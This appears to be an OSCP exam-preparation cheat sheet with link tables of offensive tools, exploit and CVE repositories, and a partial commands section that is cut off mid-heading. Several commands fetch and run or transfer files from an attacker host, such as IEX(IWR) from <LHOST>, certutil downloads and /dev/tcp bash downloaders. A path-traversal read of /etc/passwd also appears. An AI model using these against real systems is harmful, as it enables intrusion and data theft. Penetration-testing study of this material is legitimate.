OSCP Cheat Sheet

Since this little project gets more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. At the moment the course seems not to cover Active Directory Certificate Services (ADCS) but I leave it the section about this topic in the cheat sheet. Maybe they add it to the course in the future.

Feel free to submit a pull request or reach out to me on X for suggestions. Every contribution is appreciated!

Important

A guy on X got a point. Automatic exploitation tools like sqlmap are prohibited to use in the exam. The same goes for the automatic exploitation functionality of LinPEAS. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!

Here are the link to the OSCP Exam Guide and the discussion about LinPEAS. I hope this helps.

Also here are two more important resources you should check out before you take the exam.

Note

This repository will also try to cover as much as possible of the tools required for the proving grounds boxes.

Thank you for reading.

Table of Contents

Basics
Information Gathering
Vulnerability Analysis
Web Application Analysis
Database Assessment
Password Attacks
Exploitation Tools
Post Exploitation
Exploit Databases
CVEs
Payloads
Wordlists
Reporting
Social Media Resources
Commands
- Basics
  - curl
  - File Transfer
  - FTP
  - Kerberos
  - Linux
  - Microsoft Windows
  - PHP Webserver
  - Ping
  - Port Forwarding
  - Python Webserver
  - RDP
  - showmount
  - SMB
  - smbclient
  - SSH
  - Time and Date
  - Tmux
  - Upgrading Shells
  - VirtualBox
  - virtualenv
- Information Gathering
  - memcached
  - NetBIOS
  - Nmap
  - Port Scanning
  - snmpwalk
- Web Application Analysis
- Database Analysis
  - impacket-mssqlclient
  - MongoDB
  - MSSQL
  - MySQL
  - NoSQL Injection
  - PostgreSQL
  - Redis
  - SQL Injection
  - SQL Truncation Attack
  - sqlite3
  - sqsh
- Password Attacks
- Exploitation Tools
  - Metasploit
- Post Exploitation
- Social Engineering Tools
  - Microsoft Office Word Phishing Macro
  - Microsoft Windows Library Files
- CVE
  - CVE-2014-6271: Shellshock RCE PoC
  - CVE-2016-1531: exim LPE
  - CVE-2019-14287: Sudo Bypass
  - CVE-2020-1472: ZeroLogon PE
  - CVE-2021–3156: Sudo / sudoedit LPE
  - CVE-2021-44228: Log4Shell RCE (0-day)
  - CVE-2022-0847: Dirty Pipe LPE
  - CVE-2022-22963: Spring4Shell RCE (0-day)
  - CVE-2022-31214: Firejail LPE
  - CVE-2023-21746: Windows NTLM EoP LocalPotato LPE
  - CVE-2023-22809: Sudo Bypass
  - CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
  - CVE-2023-4911: Looney Tunables LPE
  - CVE-2023-7028: GitLab Account Takeover
  - CVE-2024-4577: PHP-CGI Argument Injection Vulnerability RCE
  - GodPotato LPE
  - Juicy Potato LPE
  - JuicyPotatoNG LPE
  - MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
  - PrintSpoofer LPE
  - SharpEfsPotato LPE
  - Shocker Container Escape
- Payloads
- Templates
  - ASPX Web Shell
  - Bad YAML
- Wordlists

Basics

Name	URL
Chisel	https://github.com/jpillora/chisel
CyberChef	https://gchq.github.io/CyberChef
Ligolo-ng	https://github.com/nicocha30/ligolo-ng
Swaks	https://github.com/jetmore/swaks

Information Gathering

Name	URL
Nmap	https://github.com/nmap/nmap

Vulnerability Analysis

Name	URL
nikto	https://github.com/sullo/nikto
Sparta	https://github.com/SECFORCE/sparta

Web Application Analysis

Name	URL
ffuf	https://github.com/ffuf/ffuf
fpmvuln	https://github.com/hannob/fpmvuln
Gobuster	https://github.com/OJ/gobuster
JSON Web Tokens	https://jwt.io
JWT_Tool	https://github.com/ticarpi/jwt_tool
Leaky Paths	https://github.com/ayoubfathi/leaky-paths
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
PHP Filter Chain Generator	https://github.com/synacktiv/php_filter_chain_generator
PHPGGC	https://github.com/ambionics/phpggc
Spose	https://github.com/aancw/spose
Wfuzz	https://github.com/xmendez/wfuzz
WhatWeb	https://github.com/urbanadventurer/WhatWeb
WPScan	https://github.com/wpscanteam/wpscan

Database Assessment

Name	URL
RedisModules-ExecuteCommand	https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
Redis RCE	https://github.com/Ridter/redis-rce
Redis Rogue Server	https://github.com/n0b0dyCN/redis-rogue-server
SQL Injection Cheatsheet	https://tib3rius.com/sqli.html

Password Attacks

Name	URL
Default Credentials Cheat Sheet	https://github.com/ihebski/DefaultCreds-cheat-sheet
Firefox Decrypt	https://github.com/unode/firefox_decrypt
hashcat	https://hashcat.net/hashcat
Hydra	https://github.com/vanhauser-thc/thc-hydra
John	https://github.com/openwall/john
keepass-dump-masterkey	https://github.com/CMEPW/keepass-dump-masterkey
KeePwn	https://github.com/Orange-Cyberdefense/KeePwn
Kerbrute	https://github.com/ropnop/kerbrute
LaZagne	https://github.com/AlessandroZ/LaZagne
mimikatz	https://github.com/gentilkiwi/mimikatz
NetExec	https://github.com/Pennyw0rth/NetExec
ntlm.pw	https://ntlm.pw
pypykatz	https://github.com/skelsec/pypykatz

Exploitation Tools

Name	URL
Evil-WinRM	https://github.com/Hackplayers/evil-winrm
Metasploit	https://github.com/rapid7/metasploit-framework

Post Exploitation

Name	URL
ADCSKiller - An ADCS Exploitation Automation Tool	https://github.com/grimlockx/ADCSKiller
ADCSTemplate	https://github.com/GoateePFE/ADCSTemplate
ADMiner	https://github.com/Mazars-Tech/AD_Miner
adPEAS	https://github.com/ajm4n/adPEAS
BloodHound Docker	https://github.com/belane/docker-bloodhound
BloodHound	https://github.com/BloodHoundAD/BloodHound
BloodHound	https://github.com/ly4k/BloodHound
BloodHound Collectors	https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
BloodHound Python	https://github.com/dirkjanm/BloodHound.py
bloodhound-quickwin	https://github.com/kaluche/bloodhound-quickwin
Certify	https://github.com/GhostPack/Certify
Certipy	https://github.com/ly4k/Certipy
Cheat Sheet - Attack Active Directory	https://github.com/drak3hft7/Cheat-Sheet---Active-Directory
DonPAPI	https://github.com/login-securite/DonPAPI
enum4linux-ng	https://github.com/cddmp/enum4linux-ng
Ghostpack-CompiledBinaries	https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
GTFOBins	https://gtfobins.github.io
Impacket	https://github.com/fortra/impacket
Impacket Static Binaries	https://github.com/ropnop/impacket_static_binaries
JAWS	https://github.com/411Hall/JAWS
KrbRelay	https://github.com/cube0x0/KrbRelay
KrbRelayUp	https://github.com/Dec0ne/KrbRelayUp
Krbrelayx	https://github.com/dirkjanm/krbrelayx
LAPSDumper	https://github.com/n00py/LAPSDumper
LES	https://github.com/The-Z-Labs/linux-exploit-suggester
LinEnum	https://github.com/rebootuser/LinEnum
lsassy	https://github.com/Hackndo/lsassy
Moriaty	https://github.com/BC-SECURITY/Moriarty
nanodump	https://github.com/fortra/nanodump
PassTheCert	https://github.com/AlmondOffSec/PassTheCert
PEASS-ng	https://github.com/carlospolop/PEASS-ng
PKINITtools	https://github.com/dirkjanm/PKINITtools
powercat	https://github.com/besimorhino/powercat
PowerSharpPack	https://github.com/S3cur3Th1sSh1t/PowerSharpPack
PowerUp	https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
PowerView	https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
PowerView.py	https://github.com/aniqfakhrul/powerview.py
PPLdump	https://github.com/itm4n/PPLdump
Priv2Admin	https://github.com/gtworek/Priv2Admin
PrivescCheck	https://github.com/itm4n/PrivescCheck
PSPKIAudit	https://github.com/GhostPack/PSPKIAudit
pspy	https://github.com/DominicBreuker/pspy
pth-toolkit	https://github.com/byt3bl33d3r/pth-toolkit
pwncat	https://github.com/calebstewart/pwncat
pypykatz	https://github.com/skelsec/pypykatz
PyWhisker	https://github.com/ShutdownRepo/pywhisker
Rubeus	https://github.com/GhostPack/Rubeus
RunasCs	https://github.com/antonioCoco/RunasCs
RustHound	https://github.com/OPENCYBER-FR/RustHound
scavenger	https://github.com/SpiderLabs/scavenger
SharpADWS	https://github.com/wh0amitz/SharpADWS
SharpCollection	https://github.com/Flangvik/SharpCollection
SharpChromium	https://github.com/djhohnstein/SharpChromium
SharpHound	https://github.com/BloodHoundAD/SharpHound
SharpView	https://github.com/tevora-threat/SharpView
Sherlock	https://github.com/rasta-mouse/Sherlock
WADComs	https://wadcoms.github.io
Watson	https://github.com/rasta-mouse/Watson
WESNG	https://github.com/bitsadmin/wesng
Whisker	https://github.com/eladshamir/Whisker
Windows-privesc-check	https://github.com/pentestmonkey/windows-privesc-check
Windows Privilege Escalation Fundamentals	https://www.fuzzysecurity.com/tutorials/16.html
Windows Privilege Escalation	https://github.com/frizb/Windows-Privilege-Escalation

Exploit Databases

Database	URL
0day.today Exploit Database	https://0day.today
Exploit Database	https://www.exploit-db.com
Packet Storm	https://packetstormsecurity.com
Sploitus	https://sploitus.com

CVEs

CVE	Descritpion	URL
CVE-2014-6271	Shocker RCE	https://github.com/nccgroup/shocker
CVE-2014-6271	Shellshock RCE PoC	https://github.com/zalalov/CVE-2014-6271
CVE-2014-6271	Shellshocker RCE POCs	https://github.com/mubix/shellshocker-pocs
CVE-2016-5195	Dirty COW LPE	https://github.com/firefart/dirtycow
CVE-2016-5195	Dirty COW '/proc/self/mem' Race Condition (/etc/passwd Method) LPE	https://www.exploit-db.com/exploits/40847
CVE-2016-5195	Dirty COW 'PTRACE_POKEDATA' Race Condition (/etc/passwd Method) LPE	https://www.exploit-db.com/exploits/40839
CVE-2017-0144	EternalBlue (MS17-010) RCE	https://github.com/d4t4s3c/Win7Blue
CVE-2017-0199	RTF Dynamite RCE	https://github.com/bhdresh/CVE-2017-0199
CVE-2018-7600	Drupalgeddon 2 RCE	https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
CVE-2018-10933	libSSH Authentication Bypass	https://github.com/blacknbunny/CVE-2018-10933
CVE-2018-16509	Ghostscript PIL RCE	https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
CVE-2019-14287	Sudo Bypass LPE	https://github.com/n0w4n/CVE-2019-14287
CVE-2019-18634	Sudo Buffer Overflow LPE	https://github.com/saleemrashid/sudo-cve-2019-18634
CVE-2019-5736	RunC Container Escape PoC	https://github.com/Frichetten/CVE-2019-5736-PoC
CVE-2019-6447	ES File Explorer Open Port Arbitrary File Read	https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
CVE-2019-7304	dirty_sock LPE	https://github.com/initstring/dirty_sock
CVE-2020-0796	SMBGhost RCE PoC	https://github.com/chompie1337/SMBGhost_RCE_PoC
CVE-2020-1472	ZeroLogon PE Checker & Exploitation Code	https://github.com/VoidSec/CVE-2020-1472
CVE-2020-1472	ZeroLogon PE Exploitation Script	https://github.com/risksense/zerologon
CVE-2020-1472	ZeroLogon PE PoC	https://github.com/dirkjanm/CVE-2020-1472
CVE-2020-1472	ZeroLogon PE Testing Script	https://github.com/SecuraBV/CVE-2020-1472
CVE-2021-1675,CVE-2021-34527	PrintNightmare LPE RCE	https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
CVE-2021-1675	PrintNightmare LPE RCE (PowerShell Implementation)	https://github.com/calebstewart/CVE-2021-1675
CVE-2021-21972	vCenter RCE	https://github.com/horizon3ai/CVE-2021-21972
CVE-2021-22204	ExifTool Command Injection RCE	https://github.com/AssassinUKG/CVE-2021-22204
CVE-2021-22204	GitLab ExifTool RCE	https://github.com/CsEnox/Gitlab-Exiftool-RCE
CVE-2021-22204	GitLab ExifTool RCE (Python Implementation)	https://github.com/convisolabs/CVE-2021-22204-exiftool
CVE-2021-26085	Confluence Server RCE	https://github.com/Phuong39/CVE-2021-26085
CVE-2021-27928	MariaDB/MySQL wsrep provider RCE	https://github.com/Al1ex/CVE-2021-27928
CVE-2021-3129	Laravel Framework RCE	https://github.com/nth347/CVE-2021-3129_exploit
CVE-2021-3156	Sudo / sudoedit LPE	https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit
CVE-2021-3156	Sudo / sudoedit LPE PoC	https://github.com/blasty/CVE-2021-3156
CVE-2021-3493	OverlayFS Ubuntu Kernel Exploit LPE	https://github.com/briskets/CVE-2021-3493
CVE-2021-3560	polkit LPE (C Implementation)	https://github.com/hakivvi/CVE-2021-3560
CVE-2021-3560	polkit LPE	https://github.com/Almorabea/Polkit-exploit
CVE-2021-3560	polkit LPE PoC	https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation
CVE-2021-36934	HiveNightmare LPE	https://github.com/GossiTheDog/HiveNightmare
CVE-2021-36942	PetitPotam	https://github.com/topotam/PetitPotam
CVE-2021-36942	DFSCoerce	https://github.com/Wh04m1001/DFSCoerce
CVE-2021-4034	PwnKit Pkexec Self-contained Exploit LPE	https://github.com/ly4k/PwnKit
CVE-2021-4034	PwnKit Pkexec LPE PoC (1)	https://github.com/dzonerzy/poc-cve-2021-4034
CVE-2021-4034	PwnKit Pkexec LPE PoC (2)	https://github.com/arthepsy/CVE-2021-4034
CVE-2021-4034	PwnKit Pkexec LPE PoC (3)	https://github.com/nikaiw/CVE-2021-4034
CVE-2021-41379	InstallerFileTakeOver LPE (0-day) (Archive)	https://github.com/klinix5/InstallerFileTakeOver
CVE-2021-41379	InstallerFileTakeOver LPE (0-day) (Fork)	https://github.com/waltlin/CVE-2021-41379-With-Public-Exploit-Lets-You-Become-An-Admin-InstallerFileTakeOver
CVE-2021-41773,CVE-2021-42013, CVE-2020-17519	Simples Apache Path Traversal (0-day)	https://github.com/MrCl0wnLab/SimplesApachePathTraversal
CVE-2021-42278,CVE-2021-42287	sam-the-admin, sAMAccountName Spoofing / Domain Admin Impersonation PE	https://github.com/WazeHell/sam-the-admin
CVE-2021-42278	sam-the-admin, sAMAccountName Spoofing / Domain Admin Impersonation PE (Python Implementation)	https://github.com/ly4k/Pachine
CVE-2021-42287,CVE-2021-42278	noPac LPE (1)	https://github.com/cube0x0/noPac
CVE-2021-42287,CVE-2021-42278	noPac LPE (2)	https://github.com/Ridter/noPac
CVE-2021-42321	Microsoft Exchange Server RCE	https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398
CVE-2021-44228	Log4Shell RCE (0-day)	https://github.com/kozmer/log4j-shell-poc
CVE-2021-44228	Log4Shell RCE (0-day)	https://github.com/welk1n/JNDI-Injection-Exploit
CVE-2022-0847	DirtyPipe-Exploit LPE	https://github.com/n3rada/DirtyPipe
CVE-2022-0847	DirtyPipe-Exploits LPE	https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-21999	SpoolFool, Windows Print Spooler LPE	https://github.com/ly4k/SpoolFool
CVE-2022-22963	Spring4Shell RCE (0-day)	https://github.com/tweedge/springcore-0day-en
CVE-2022-23119,CVE-2022-23120	Trend Micro Deep Security Agent for Linux Arbitrary File Read	https://github.com/modzero/MZ-21-02-Trendmicro
CVE-2022-24715	Icinga Web 2 Authenticated Remote Code Execution RCE	https://github.com/JacobEbben/CVE-2022-24715
CVE-2022-26134	ConfluentPwn RCE (0-day)	https://github.com/redhuntlabs/ConfluentPwn
CVE-2022-31214	Firejail / Firejoin LPE	https://seclists.org/oss-sec/2022/q2/188
CVE-2022-31214	Firejail / Firejoin LPE	https://www.openwall.com/lists/oss-security/2022/06/08/10
CVE-2022-34918	Netfilter Kernel Exploit LPE	https://github.com/randorisec/CVE-2022-34918-LPE-PoC
CVE-2022-46169	Cacti Authentication Bypass RCE	https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit
CVE-2023-20598	PDFWKRNL Kernel Driver LPE	https://github.com/H4rk3nz0/CVE-2023-20598-PDFWKRNL
CVE-2023-21746	Windows NTLM EoP LocalPotato LPE	https://github.com/decoder-it/LocalPotato
CVE-2023-21768	Windows Ancillary Function Driver for WinSock LPE POC	https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768
CVE-2023-21817	Kerberos Unlock LPE PoC	https://gist.github.com/monoxgas/f615514fb51ebb55a7229f3cf79cf95b
CVE-2023-22809	sudoedit LPE	https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
CVE-2023-23752	Joomla Unauthenticated Information Disclosure	https://github.com/Acceis/exploit-CVE-2023-23752
CVE-2023-25690	Apache mod_proxy HTTP Request Smuggling PoC	https://github.com/dhmosfunk/CVE-2023-25690-POC
CVE-2023-28879	Shell in the Ghost: Ghostscript RCE PoC	https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce
CVE-2023-32233	Use-After-Free in Netfilter nf_tables LPE	https://github.com/Liuk3r/CVE-2023-32233
CVE-2023-32629, CVE-2023-2640	GameOverlay Ubuntu Kernel Exploit LPE (0-day)	https://twitter.com/liadeliyahu/status/1684841527959273472?s=09
CVE-2023-36874	Windows Error Reporting Service LPE (0-day)	https://github.com/Wh04m1001/CVE-2023-36874
CVE-2023-51467, CVE-2023-49070	Apache OFBiz Authentication Bypass	https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass
CVE-2023-7028	GitLab Account Takeover	https://github.com/V1lu0/CVE-2023-7028
CVE-2023-7028	GitLab Account Takeover	https://github.com/Vozec/CVE-2023-7028
CVE-2024-0582	Ubuntu Linux Kernel io_uring LPE	https://github.com/ysanatomic/io_uring_LPE-CVE-2024-0582
CVE-2024-1086	Use-After-Free Linux Kernel Netfilter nf_tables LPE	https://github.com/Notselwyn/CVE-2024-1086
CVE-2024-4577	PHP-CGI Argument Injection Vulnerability RCE	https://github.com/watchtowrlabs/CVE-2024-4577
CVE-2024-30088	Microsoft Windows LPE	https://github.com/tykawaii98/CVE-2024-30088
n/a	dompdf RCE (0-day)	https://github.com/positive-security/dompdf-rce
n/a	dompdf XSS to RCE (0-day)	https://positive.security/blog/dompdf-rce
n/a	StorSvc LPE	https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc
n/a	ADCSCoercePotato	https://github.com/decoder-it/ADCSCoercePotato
n/a	CoercedPotato LPE	https://github.com/Prepouce/CoercedPotato
n/a	DCOMPotato LPE	https://github.com/zcgonvh/DCOMPotato
n/a	DeadPotato LPE	https://github.com/lypd0/DeadPotato
n/a	GenericPotato LPE	https://github.com/micahvandeusen/GenericPotato
n/a	GodPotato LPE	https://github.com/BeichenDream/GodPotato
n/a	JuicyPotato LPE	https://github.com/ohpe/juicy-potato
n/a	Juice-PotatoNG LPE	https://github.com/antonioCoco/JuicyPotatoNG
n/a	MultiPotato LPE	https://github.com/S3cur3Th1sSh1t/MultiPotato
n/a	RemotePotato0 PE	https://github.com/antonioCoco/RemotePotato0
n/a	RoguePotato LPE	https://github.com/antonioCoco/RoguePotato
n/a	RottenPotatoNG LPE	https://github.com/breenmachine/RottenPotatoNG
n/a	SharpEfsPotato LPE	https://github.com/bugch3ck/SharpEfsPotato
n/a	SigmaPotato LPE	https://github.com/tylerdotrar/SigmaPotato
n/a	SweetPotato LPE	https://github.com/CCob/SweetPotato
n/a	SweetPotato LPE	https://github.com/uknowsec/SweetPotato
n/a	S4UTomato LPE	https://github.com/wh0amitz/S4UTomato
n/a	PrintSpoofer LPE (1)	https://github.com/dievus/printspoofer
n/a	PrintSpoofer LPE (2)	https://github.com/itm4n/PrintSpoofer
n/a	Shocker Container Escape	https://github.com/gabrtv/shocker
n/a	SystemNightmare PE	https://github.com/GossiTheDog/SystemNightmare
n/a	NoFilter LPE	https://github.com/deepinstinct/NoFilter
n/a	OfflineSAM LPE	https://github.com/gtworek/PSBits/tree/master/OfflineSAM
n/a	OfflineAddAdmin2 LPE	https://github.com/gtworek/PSBits/tree/master/OfflineSAM/OfflineAddAdmin2
n/a	Kernelhub	https://github.com/Ascotbe/Kernelhub
n/a	Windows Exploits	https://github.com/SecWiki/windows-kernel-exploits
n/a	Pre-compiled Windows Exploits	https://github.com/abatchy17/WindowsExploits

Payloads

Name	URL
Payload Box	https://github.com/payloadbox
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
phpgcc	https://github.com/ambionics/phpggc
PHP-Reverse-Shell	https://github.com/ivan-sincek/php-reverse-shell
webshell	https://github.com/tennc/webshell
Web-Shells	https://github.com/TheBinitGhimire/Web-Shells

Wordlists

Name	URL
bopscrk	https://github.com/R3nt0n/bopscrk
CeWL	https://github.com/digininja/cewl
COOK	https://github.com/giteshnxtlvl/cook
CUPP	https://github.com/Mebus/cupp
Kerberos Username Enumeration	https://github.com/attackdebris/kerberos_enum_userlists
SecLists	https://github.com/danielmiessler/SecLists
Username Anarchy	https://github.com/urbanadventurer/username-anarchy

Reporting

Name	URL
OSCP-Note-Vault	https://github.com/0xsyr0/OSCP-Note-Vault
SysReptor	https://github.com/Syslifters/sysreptor
SysReptor OffSec Reporting	https://github.com/Syslifters/OffSec-Reporting
SysReptor Portal	https://oscp.sysreptor.com/oscp/signup/

Social Media Resources

Name	URL
OSCP Guide 01/12 – My Exam Experience	https://www.youtube.com/watch?v=9mrf-WyzkpE&list=PLJnLaWkc9xRgOyupMhNiVFfgvxseWDH5x
Rana Khalil	https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/
HackTricks	https://book.hacktricks.xyz/
HackTricks Local Windows Privilege Escalation Checklist	https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
Hacking Articles	https://www.hackingarticles.in/
Rednode Windows Privilege Escalation	https://rednode.com/privilege-escalation/windows-privilege-escalation-cheat-sheet/
OSCP Cheat Sheet by xsudoxx	https://github.com/xsudoxx/OSCP
OSCP-Tricks-2023 by Rodolfo Marianocy	https://github.com/rodolfomarianocy/OSCP-Tricks-2023
IppSec (YouTube)	https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA
IppSec.rocks	https://ippsec.rocks/?#
0xdf	https://0xdf.gitlab.io/

Commands

Basics

curl

curl -v http://<DOMAIN>                                                        // verbose output
curl -X POST http://<DOMAIN>                                                   // use POST method
curl -X PUT http://<DOMAIN>                                                    // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd                 // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080                                             // use proxy
curl -F myFile=@<FILE> http://<RHOST>                                          // file upload
curl${IFS}<LHOST>/<FILE>                                                       // Internal Field Separator (IFS) example

File Transfer

Certutil

certutil -urlcache -split -f "https://<LHOST>/<FILE>" <FILE>

Netcat

nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>

Impacket

sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>

PowerShell

iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>

Bash only

wget version

Paste directly to the shell.

function __wget() {
    : ${DEBUG:=0}
    local URL=$1
    local tag="Connection: close"
    local mark=0

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s https://www.google.com/]" \
               "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi
    read proto server path <<<$(echo ${URL//// })
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
    [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
    [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"

    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
    while read line; do
        [[ $mark -eq 1 ]] && echo $line
        if [[ "${line}" =~ "${tag}" ]]; then
            mark=1
        fi
    done <&3
    exec 3>&-
}

__wget http://<LHOST>/<FILE>

curl version

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

FTP

ftp <RHOST>
ftp -A <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>

Kerberos

sudo apt-get install krb5-kdc

Ticket Handling

impacket-getTGT <DOMAIN>/<USERNAME>:'<PASSWORD>'
export KRB5CCNAME=<FILE>.ccache
export KRB5CCNAME='realpath <FILE>.ccache'

Kerberos related Files

/etc/krb5.conf                   // kerberos configuration file location
kinit <USERNAME>                 // creating ticket request
klist                            // show available kerberos tickets
kdestroy                         // delete cached kerberos tickets
.k5login                         // resides kerberos principals for login (place in home directory)
krb5.keytab                      // "key table" file for one or more principals
kadmin                           // kerberos administration console
add_principal <EMAIL>            // add a new user to a keytab file
ksu                              // executes a command with kerberos authentication
klist -k /etc/krb5.keytab        // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab    // enables editing of the keytab file

Ticket Conversion

kribi to ccache

base64 -d <USERNAME>.kirbi.b64 > <USERNAME>.kirbi
impacket-ticketConverter <USERNAME>.kirbi <USERNAME>.ccache
export KRB5CCNAME=`realpath <USERNAME>.ccache`

ccache to kirbi

impacket-ticketConverter <USERNAME>.ccache <USERNAME>.kirbi
base64 -w0 <USERNAME>.kirbi > <USERNAME>.kirbi.base64

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

Download Proxy and Agent

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

Prepare Tunnel Interface

